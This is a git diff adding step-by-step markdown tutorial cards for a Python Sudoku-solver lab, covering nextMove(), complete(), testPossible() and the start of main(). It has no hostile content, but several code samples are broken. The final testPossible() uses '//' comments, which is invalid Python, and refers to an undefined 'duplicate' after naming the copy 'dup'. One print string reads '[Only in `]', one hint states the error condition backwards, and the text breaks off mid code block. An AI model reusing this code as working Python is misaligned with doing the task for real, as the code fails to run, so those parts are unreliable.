+For our last condition in our check-number clause, we have to check by box. Within our first nested for-loop, we have to check if the current number `n` is available to be placed in any box within our grid. We will do so using `box()` like this:
+
+```python
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ b = box(grid,b_r,b_c)
+```
+
+Afterwards, we will check if the current number `n` exists in `b`:
+
+```python
+ if n in b:
+```
+
+If so, we will continue to check for the row, column pair (`r`, `c`) in the same box that (`r_i`,` c_i`) is in so that it can be appended to our list `m`. This will occur if the current number `n` exists in the list returned from `findPossible()`:
+
+```python
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ b = box(grid,b_r,b_c)
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+ if n in findPossible(r,c,grid):
+ m.append((r,c))
+```
+
+Following our second nested for-loop, the remaining definition of this check by box condition will be identical to the previous conditions such that we confirm if `len(m) == 1` and `not foundMove`. If this evaluates to `True`, then we check if `not silent` and then print the prompt of our next move via check by box method. Then, we assign the location in our `grid` stored within `m` to the current number `n`. Lastly, we set `foundMove` to `True`.
+
+```python
+ # Check by box
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ b = box(grid,b_r,b_c)
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+ if n in findPossible(r,c,grid):
+ m.append((r,c))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in `]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+```
+
+
+
+
+
+We have fully defined the first two clauses of our function `nextMove()`. It will look like this:
+
+```python
+# This attempts to find the/a next move
+# Silent determines if it prints out the move it makes (not done for 'complete')
+# Depth determines if it's allowed to try guessing (if depth < 3)
+# Finish if it should be allowed to make any move possible (complete)
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+ # Easy iteration through all spots, checking if clearly only one
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+ if len(possible) == 1:
+ if not foundMove:
+ if not silent:
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
+ grid[r_i][c_i] = possible[0]
+ foundMove = True
+
+ # Check by number
+ if not foundMove:
+ for n in range(1,10):
+ # Check by row
+ if not foundMove:
+ for r_i in range(0,9):
+ m = []
+ for c_i in range(0,9):
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+ # Check by column
+ if not foundMove:
+ for c_i in range(0,9):
+ m = []
+ for r_i in range(0,9):
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+ # Check by box
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ b = box(grid,b_r,b_c)
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+ if n in findPossible(r,c,grid):
+ m.append((r,c))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in `]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+
+ # Guessing clause
+```
+
+All we have left to do is implement our guessing clause. After that, our `nextMove()` function is done!
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/53.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/53.md
new file mode 100644
index 00000000..786f7010
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/53.md
@@ -0,0 +1,26 @@
+
+
+
+
+
+
+# nextMove()
+
+Similar to the first clause in our `nextMove()` function, we will be checking every square within our `grid` for the third clause. However, this clause is our fallback to use in conjunction with another function called `testPossible()` which we have not yet defined.
+
+Thus, I will further provide hints for this guessing clause in our `nextMove()` function:
+
+- One nested for-loop to iterate through all squares.
+
+- Using the resulting list return from `findPossible()`, you will need to use a for-loop to iterate through each index in that resulting list and apply further logic to check each square, including `testPossible()`.
+
+- The `testPossible()` function accepts six arguments:
+
+ - `grid`
+ - `r_i`
+ - `c_i`
+ - `i`
+ - `depth + 1`
+ - `finish`
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/531.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/531.md
new file mode 100644
index 00000000..f863261d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/531.md
@@ -0,0 +1,163 @@
+
+
+
+
+
+
+# nextMove()
+
+Step 1: Check for `not foundMove` and `depth < 2`.
+First, we must check for `not foundMove` and `depth < 2`, as these conditions must be satisfied in order to apply our guessing clause:
+
+```python
+if not foundMove and depth < 2:
+```
+
+Step 2: Iterate through every square.
+
+If the above condition is true, then we will iterate through every square using a nested for-loop. Then, we must check if `not foundMove` for every iteration:
+
+```python
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ if not foundMove:
+```
+
+Within this nested for-loop, we will be using our two functions, `findPossible()` and `testPossible()`, in conjunction with each other. First, we will use an empty list `possible`, defined as the list returned from `findPossible()`:
+
+```python
+ possible = findPossible(r_i,c_i,grid)
+```
+
+Step 3: Iterate through all the values within `possible`.
+
+Given the list `possible`, we will now iterate through all the values within it. Through each value we iterate to, we will check if `not foundMove` and `testPossible(grid, r_i, c_i, i, depth+1, finish)` which will determine that we have found a result via guessing and checking:
+
+```python
+ for i in possible:
+ if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
+```
+
+Step 4: Check `not silent` in order to print the next move using the guess and check method.
+
+If the above condition evaluates to `True`, we can check if `not silent` in order to allow us to print our next move via the guess and check method.
+
+Step 5: Assign value `i` from possible.
+
+Then, we can assign the value `i` from `possible` (that succeeded through our if statements) to our `grid` at the square's location `[r_i][c_i]`:
+
+```python
+ if not silent:
+ print(depth)
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
+ grid[r_i][c_i] = i
+ foundMove = True
+```
+
+
+
+Finally, we have our last clause fully defined. It will look like this:
+
+```python
+# Guessing clause (not a very pretty fallback)
+if not foundMove and depth < 2:
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ if not foundMove:
+ possible = findPossible(r_i,c_i,grid)
+ for i in possible:
+ if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
+ if not silent:
+ print(depth)
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
+ grid[r_i][c_i] = i
+ foundMove = True
+```
+
+
+
+
+
+In the end, our finished `nextMove()` function will look like this:
+
+```python
+# This attempts to find the/a next move
+# Silent determines if it prints out the move it makes (not done for 'complete')
+# Depth determines if it's allowed to try guessing (if depth < 3)
+# Finish if it should be allowed to make any move possible (complete)
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+ # Easy iteration through all spots, checking if clearly only one
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+ if len(possible) == 1:
+ if not foundMove:
+ if not silent:
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
+ grid[r_i][c_i] = possible[0]
+ foundMove = True
+
+ # Check by number
+ if not foundMove:
+ for n in range(1,10):
+ # Check by row
+ if not foundMove:
+ for r_i in range(0,9):
+ m = []
+ for c_i in range(0,9):
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+ # Check by column
+ if not foundMove:
+ for c_i in range(0,9):
+ m = []
+ for r_i in range(0,9):
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+ # Check by box
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ b = box(grid,b_r,b_c)
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+ if n in findPossible(r,c,grid):
+ m.append((r,c))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in box]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+
+ # Guessing clause (not a very pretty fallback)
+ if not foundMove and depth < 2:
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ if not foundMove:
+ possible = findPossible(r_i,c_i,grid)
+ for i in possible:
+ if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
+ if not silent:
+ print(depth)
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
+ grid[r_i][c_i] = i
+ foundMove = True
+
+ return foundMove
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/6.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/6.md
new file mode 100644
index 00000000..92d934ef
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/6.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+# complete()
+
+Now that we have all the necessary logic for solving our Sudoku board, we will write the functions `hasMoves()` and `complete()`.
+
+
+
+
+Step 1: Create function `hasMoves()`
+
+We will start off with `hasMoves()` first since `complete()` is dependent on it. `hasMoves()` is a very simple function that checks if the `grid` is finished (all empty squares are filled) and that the Sudoku board has been solved. The function header for `hasMoves()` is defined as such:
+
+```python
+def hasMoves(grid):
+```
+
+> Hint: `hasMoves()` is a one line function!
+
+
+
+Step 2: Create function `complete()`
+
+Then, for our `complete()` function, it will attempt to complete the `grid` by continually calling `nextMove()` until it gets stuck or succeeds. The function header for `complete()` is defined as such:
+
+
+```python
+def complete(grid,depth=0):
+```
+
+> Hint: `complete()` uses the functions `hasMoves()` and `nextMove()`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/61.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/61.md
new file mode 100644
index 00000000..a7a59f17
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/61.md
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+ # complete()
+
+`hasMoves()` is a simple function that returns a Boolean (True or False) by determining if there are any 0's in `grid`. This indicates whether or not the Sudoku board has any remaining moves.
+
+ If there are any 0's in a `row` for all the rows in `grid`, then return True. Otherwise, return False, meaning that the `grid` is complete.
+
+Since our `complete()` function is continually calling `nextMove()` until it gets stuck or succeeds, we should check if our `grid` still has moves.
+
+ `moved` will be a Boolean initialized to True and will only be set False once a move has not been found...
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/611.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/611.md
new file mode 100644
index 00000000..a1cf4239
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/611.md
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+# complete()
+
+Step 1: Check the state of `moved`.
+
+
+As we're checking if there are moves to be made in our `grid` within our while-loop, we can determine the state of `moved` by assigning the result of `nextMove()` to it:
+
+```python
+ while hasMoves(grid) and moved:
+ moved = nextMove(grid,True,depth,True)
+```
+
+`nextMove()` will return True if a move has been found (`moved` then equals True), or False if a move has not been found (`moved` then equals False).
+
+Step 2: Return state of `hasMoved(grid)`.
+
+After our while-loop has finished iterating (once either `hasMoves(grid)` or `moved` evaluates to False), then we will return the state of `hasMoves(grid)` as such:
+
+
+```python
+ return not hasMoves(grid)
+```
+
+
+If `hasMoves(grid) == True`, then `complete()` will return False because the `grid` has not been completed. Otherwise, if `hasMoves(grid) == False`, then `complete()` will return True since this indicates that the `grid` is complete.
+
+```python
+def hasMoves(grid):
+ return any(0 in row for row in grid)
+```
+
+
+
+The final function definition for `complete()` will look like this:
+
+```python
+def complete(grid,depth=0):
+ moved = True
+ while hasMoves(grid) and moved:
+ moved = nextMove(grid,True,depth,True)
+ return not hasMoves(grid)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/62.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/62.md
new file mode 100644
index 00000000..f53f32d6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/62.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+# complete()
+
+Step 3: Check if there are moves.
+
+Since our `complete()` function is continually calling `nextMove()` until it gets stuck or succeeds, we should check if our `grid` still has moves. Hence, we will keep this logic in a while-loop:
+
+```python
+def complete(grid,depth=0):
+ moved = True
+ while hasMoves(grid) and moved:
+ # Implement logic here to determine the state of moved
+```
+
+`moved` will be a Boolean initialized to True and will only be set False once a move has not been found...
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/621.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/621.md
new file mode 100644
index 00000000..fed7ef5b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/621.md
@@ -0,0 +1,50 @@
+
+
+
+
+
+
+# complete()
+
+Step 1: Check the state of `moved`.
+
+
+Within our while-loop as we're checking if there is available moves to be made in our `grid`, we can determine if the state of `moved` by assigning the result of `nextMove()` to it as such:
+
+```python
+ while hasMoves(grid) and moved:
+ moved = nextMove(grid,True,depth,True)
+```
+
+
+`nextMove()` will return True if a move has been found (`moved` then equals True), or False if a move has not been found (`moved` then equals False).
+
+Step 2: return state of `hasMoved(grid)`.
+
+After our while-loop has finished iterating (once either `hasMoves(grid)` or `moved` evaluates to False), then we will return the state of `hasMoves(grid)` as such:
+
+
+```python
+ return not hasMoves(grid)
+```
+
+
+If `hasMoves(grid) == True`, then `complete()` will return False because the `grid` has not been completed. Else if `hasMoves(grid) == False`, then `complete()` will return True since this indicates that the `grid` is complete.
+
+```python
+def hasMoves(grid):
+ return any(0 in row for row in grid)
+```
+
+
+
+The final function definition for `complete()` will look like this:
+
+```python
+def complete(grid,depth=0):
+ moved = True
+ while hasMoves(grid) and moved:
+ moved = nextMove(grid,True,depth,True)
+ return not hasMoves(grid)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/7.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/7.md
new file mode 100644
index 00000000..23f812a5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/7.md
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+# testPossible()
+
+Used alongside our guessing clause from the function `nextMove()`, we will now implement the missing piece— writing the `testPossible()` function. As you have seen previously, this function will:
+
+- Check if it can find a solution given a grid, and then a row-column pair with a value to try.
+- If it finds a solution and finish True, then it sets the grid to the solution to speed it up.
+
+For our function, we will be accepting a total of six arguments:
+
+- grid: `grid`
+- row: `r`
+- column: `c`
+- current number: `n`
+- depth: `depth`
+- Boolean to indicate if finished: `finish`
+
+The function header for `testPossible()` is defined as such:
+
+```python
+def testPossible(grid,r,c,n,depth,finish):
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/71.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/71.md
new file mode 100644
index 00000000..341fa241
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/71.md
@@ -0,0 +1,35 @@
+
+
+
+
+
+
+# testPossible()
+
+Here are some specific hints on how to approach this problem:
+
+Step 1: Find a way to preserve the state of the grid.
+
+- You will have to find a way to preserve the state of the grid, even when storing the value `n` at the row, column pair (`r`, `c`). This is needed to ensure the board maintains itself, even if the user guesses wrong.
+
+ (Hint: duplication of the board)
+
+Step 2: Check if the user's guess is correct.
+
+- Additionally, you will have to check if the user's guess is correct. You should be using a function you *completed* (big hint) earlier as part of achieving this. Also, consider how you will update the grid if a solution has been found.
+
+Step 3: Duplicate the board.
+
+To duplicate the board, we can use the built-in function `copy.deepcopy()`, which we must import from the Python library `copy`.
+
+Step 4: Check if the user's guess succeeds on a duplicate board.
+
+Once we input the user's guess into the duplicated board, we need to check if the duplicate will succeed. This is done through our function `complete()`, which takes the grid (the duplicate in this case) and the integer `depth` as arguments. We will do this in an if statement.
+
+Step 5: If the previous condition succeeds, check if `finish` is True.
+
+If the condition succeeds, then all we need to do left is check if `finish` is True. If so, we will copy `duplicate` back to grid, as we now have a solution!
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/711.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/711.md
new file mode 100644
index 00000000..1c2555e9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/711.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+# testPossible()
+
+Step 1: Duplicate `grid`.
+
+We first need to duplicate our `grid` to preserve the original `grid`. We will be modifying the duplicate by storing the value `n` at the square (`r`,`c`):
+
+```python
+def testPossible(grid,r,c,n,depth,finish):
+ # start function by writing code to create duplicate
+```
+
+In order to achieve this, we will have to use the function `copy.deepcopy()`, so we must import the Python library `copy`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/712.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/712.md
new file mode 100644
index 00000000..a027f37d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/712.md
@@ -0,0 +1,86 @@
+
+
+
+
+
+
+# testPossible()
+
+
+Step 1: Name the grid storing variable.
+
+In our code, we name the variable storing the grid copy `duplicate`.
+
+Step 2: Check if `duplicate` will succeed.
+Once we input the user's guess into `duplicate`, we need to check if `duplicate` will succeed. This is done through our function `complete()`, which takes the grid (`duplicate` in this case) and the integer `depth` as arguments. We will do this in an if statement as seen below:
+
+```python
+ if complete(duplicate,depth):
+```
+
+As of now, our function will look like this all together:
+
+```python
+def testPossible(grid,r,c,n,depth,finish):
+ duplicate = copy.deepcopy(grid)
+ duplicate[r][c] = n
+ if complete(duplicate,depth):
+```
+
+Step 3: Check if `finish` is true.
+If the condition above succeeds, then all we need to do is check if `finish` is true. If so, then we will copy `duplicate` back to grid since we now have a solution!
+
+Step 4: Create a duplicate board to avoid infringing on our current board.
+
+At this point, we are attempting to test solutions to solve our Sudoku puzzle. It is in our best interest to create a duplicate board to not infringe on our current one. If the solution is true, then we should copy our duplicate board to the original. Otherwise, if we just tested solutions on our original board, then the code becomes more complicated.
+
+On the condition that `complete()` returns True in our if statement, we will check if `finish` evaluates to True also:
+
+```python
+ if complete(duplicate,depth):
+ if finish:
+```
+
+Step 5: Make the duplicate board the main grid.
+
+We know that `duplicate` was successful in completion, so we want `dup` to be our `grid` since `dup` is now the solution. If the solution we are testing works, then `finish` will be true.
+
+Step 6: Check if `finish` is true.
+
+We simply need to check if `finish` is true, which means the tested solution is true and we can copy over our duplicate board. Thus, we will use a nested for-loop to overwrite all the values in `grid` with `dup`:
+
+
+```python
+ for r in range(0,9): //Iterate through each row and column
+ for c in range(0,9):
+
+ grid[r][c] = dup[r][c] //Copy our duplicate grid to our actual grid
+
+```
+Step 7: Return True.
+
+Now, we just return True if we succeeded; otherwise, return False. Therefore, our final `testPossible()` function will appear as below:
+
+```python
+# Checks if it can find a solution given a grid, and then a row-column pair with a value to try.
+# If it finds a solution and finish is true, then it sets the grid to the solution so as to speed it up.
+def testPossible(grid,r,c,n,depth,finish):
+ dup = copy.deepcopy(grid) //Copies our actual grid and makes a duplicate
+ dup[r][c] = n
+ if complete(dup,depth):
+ if finish: //If successful, we want to copy the duplicate board to our actual board
+ for r in range(0,9):
+ for c in range(0,9):
+ grid[r][c] = duplicate[r][c]
+ return True
+ else: //If false, then we don't want to copy it over.
+ return False
+```
+
+Step 8: Check if `finish` evaluates to True.
+On the condition that `complete()` returns True in our if statement, we will check if `finish` evaluates to True as well:
+
+```python
+ if complete(duplicate,depth):
+ if finish:
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/8.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/8.md
new file mode 100644
index 00000000..bfafa0e8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/8.md
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+# main() Part 1
+
+At last, we finally have all of the functions and code necessary to solve any Sudoku puzzle! However, we still need to be able to take the user's input so we know what puzzle they want to solve and what actions they want to take.
+
+Before we begin, let's think of what errors we possibly want to look for when checking the input from the user.
+Of course, we are asking the user what board they would like, so human error is bound to occur.
+
+We will first start off by implementing the portion where we ask the user what Sudoku puzzle they want to complete. They will be asked to enter in a total of 81 characters, numbers ONLY, for their initial Sudoku board (`grid`). There are two error cases we must handle for the Sudoku board that the user specifies:
+
+- If there was not a total of 81 characters, the user will be prompted:
+
+ - `"Not 81 characters."`
+- If the Sudoku board is invalid (What makes a Suduku Board Invalid?), the user will be prompted:
+ - `"Invalid grid."`
+ > Hint: How do unique values correlate with our Sudoku board?
+
+To provide directions to the user when awaiting their input for 81 characters, the prompt will tell them this:
+
+- `"Type in the grid, going left to right row by row, 0 = empty: "`
+
+
+
+As an example of a valid user input for a `grid`, this is what it would appear as:
+
+`940020700001004009006000120000003010100000008070500000087000200600900300009080057`
+```
+940020700 // First line
+001004009 // 2nd Line
+006000120 // Third Line
+000003010 // Fourth Line
+100000008 // Fifth Line
+070500000 // Sixth Line
+087000200 // Seventh Line
+600900300 // Eighth Line
+009080057 // Ninth Line
+
+
+The input above would correspond to a `grid` like this when printed:
+
+```python
+ 9 4 _ | _ 2 _ | 7 _ _
+ _ _ 1 | _ _ 4 | _ _ 9
+ _ _ 6 | _ _ _ | 1 2 _
+ ------|-------|-------
+ _ _ _ | _ _ 3 | _ 1 _
+ 1 _ _ | _ _ _ | _ _ 8
+ _ 7 _ | 5 _ _ | _ _ _
+ ------|-------|-------
+ _ 8 7 | _ _ _ | 2 _ _
+ 6 _ _ | 9 _ _ | 3 _ _
+ _ _ 9 | _ 8 _ | _ 5 7
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/81.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/81.md
new file mode 100644
index 00000000..0b5694eb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/81.md
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+# main() Part 1
+
+Step 1: Create a temporary `tempGrid`.
+
+When checking for user input error, you should create a temporary grid `tempGrid`. This should be used to ensure that the entered grid is valid before we start the game.
+
+Step 2: Store the data in a string.
+
+For actually taking in the user input, we should store the data in a string. If the input (stored in the string initially) is invalid, we should output the approriate messages as specified earlier:
+
+- If there was not a total of 81 characters, the user will be prompted:
+
+ - `"Not 81 characters."`
+
+ Step 3: Verify if the string is 81 characters.
+
+ Given that you know that we will store the user input in a string, how can we check the above condition?
+
+ Once you verify that the input string is 81 characters, you should find a way to transfer the data to `tempGrid`.
+
+- If the Sudoku board is invalid, the user will be prompted:
+
+ - `"Invalid grid."`
+
+ Remember that a Sudoku board is valid when there are no duplicate values in any rows and columns. Sound familiar?
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/811.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/811.md
new file mode 100644
index 00000000..9007e283
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/811.md
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+# main() Part 1
+
+Step 1: Check if the length of `grid` is indeed 0.
+
+This is to confirm that we are ready to wait for a user-inputted Sudoku board. We will also create a temporary grid `tempGrid`, which is defined as an empty list used to store the user's input.
+
+Step 2: Assign `grid` as `tempGrid`.
+
+After we confirm that `tempGrid` is a valid Sudoku board, we will assign `grid` as `tempGrid`. We will also initialize an empty string `data`, or the string that holds the 81 characters inputted by the user:
+
+```python
+if len(grid) == 0:
+ tempGrid = []
+
+ data = ""
+```
+
+Since we want to check if the user inputted 81 characters, that will be the condition we use for our while-loop when accepting user input:
+
+```python
+if len(grid) == 0:
+ tempGrid = []
+
+ data = ""
+ while len(data) != 81:
+```
+
+Then, we will output the prompt to the user `"Type in the grid, going left to right row by row, 0 = empty: "` as we request for input:
+
+```python
+if len(grid) == 0:
+ tempGrid = []
+
+ data = ""
+ while len(data) != 81:
+ tempGrid = []
+ data = input("Type in the grid, going left to right row by row, 0 = empty: ")
+```
+Step 3: Implement the necessary checks to determine a valid `grid`.
+
+`data` now contains the string that the user inputted, so we just need to implement the necessary checks to determine a valid `grid` with if and else statements. We want to make sure there are no repeated values in every column and row. We also want to check if the input size is correct. If the input is correct, we will display an error message telling the user why their input is invalid.
+
+> Hint: Check the size of `data` first. If it is indeed 81 characters, then store it into `tempGrid` and confirm if `tempGrid` is valid.
+
+We will first check if the length of `data` is 81 or not, similar to our while-loop condition. If `data` is not of 81 characters long, we will print `"Not 81 characters"`. Otherwise, we will move on to our next check:
+
+```python
+if len(grid) == 0:
+ tempGrid = []
+
+ data = ""
+ while len(data) != 81:
+ tempGrid = []
+ data = input("Type in the grid, going left to right row by row, 0 = empty: ")
+ if len(data) != 81:
+ print("Not 81 characters.")
+ else:
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/812.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/812.md
new file mode 100644
index 00000000..276859cd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/812.md
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+# main() Part 1
+
+Now that we have a total of 81 characters, we need to verify if this is a valid Sudoku board. To do so, we need to create the structure of our board, which will be stored in `tempGrid`. Programmatically, our Sudoku board is a list of of 9 lists where each list contains 9 elements (numbers).
+
+Step 1: Define an empty list called `r` and fill up each list with 9 elements at a time. Append it to `tempGrid` such that `r` will be appended to `tempGrid` 9 times to get our entire Sudoku board:
+
+```python
+ else:
+ for row in range(0,9):
+ r = []
+ for col in range(0,9):
+ r.append(int(data[row*9+col]))
+ tempGrid.append(r)
+```
+
+> Note: Remember that the user input (stored in `data`) is a string, so we must type cast it to an `int`.
+
+Step 2: Now that `data` is formatted into a 9x9 grid that was stored into `tempGrid`, we can now verify if the user's inputted grid is valid through our `isValid()` function. If `isValid()` returns True, we can do the assignment `grid = tempGrid`. If `isValid()` returns False, we will print `"Invalid grid."` and reset `data`, but assign it as an empty string:
+
+```python
+ if not isValid(tempGrid):
+ data = ""
+ print("Invalid grid.")
+ printGrid(tempGrid)
+
+
+ grid = tempGrid
+```
+
+Thus, we have finished the first part of the UI for accepting the first input from the user as seen below:
+
+```python
